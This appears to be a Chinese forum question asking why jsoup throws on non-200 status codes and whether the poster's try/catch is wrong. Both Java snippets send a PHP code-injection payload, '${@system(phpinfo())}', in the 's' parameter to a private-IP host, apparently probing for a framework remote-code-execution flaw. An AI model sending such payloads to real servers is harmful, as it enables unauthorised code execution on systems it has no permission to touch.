我尝试用jsoup去get请求一个url,但是只有状态码200的时候能返回相应的值,其他状态码一律不返回。
**
代码:**
import org.jsoup.Connection;
import org.jsoup.HttpStatusException;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import java.util.Objects;
public class test {
public static void main(String[] args) throws Exception {
Connection connect = Jsoup.connect("http://192.168.3.128:8081" + "/index.php?")
.data("s", "/index/index/name/${@system(phpinfo())}")
.userAgent("Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0")
.timeout(3000);
Document document = connect.get();
int code = connect.response().statusCode();
System.out.println(code);
}
}
运行结果:
代码抛了异常,后面的代码没有执行。try catch 下抛出异常的代码试下。
package AazhenGUI;
import org.jsoup.Connection;
import org.jsoup.HttpStatusException;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import java.util.Objects;
public class test {
public static void main(String[] args) {
try {
Connection connect = Jsoup.connect("http://192.168.3.128:8081" + "/index.php?")
.data("s", "/index/index/name/${@system(phpinfo())}")
.userAgent("Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0")
.timeout(3000);
Document document = connect.get();
int code = connect.response().statusCode();
System.out.println(code);
} catch (Exception e) {
e.printStackTrace();
}
}
}
是不是我try catch加的不对?为什么这样还是不行呢: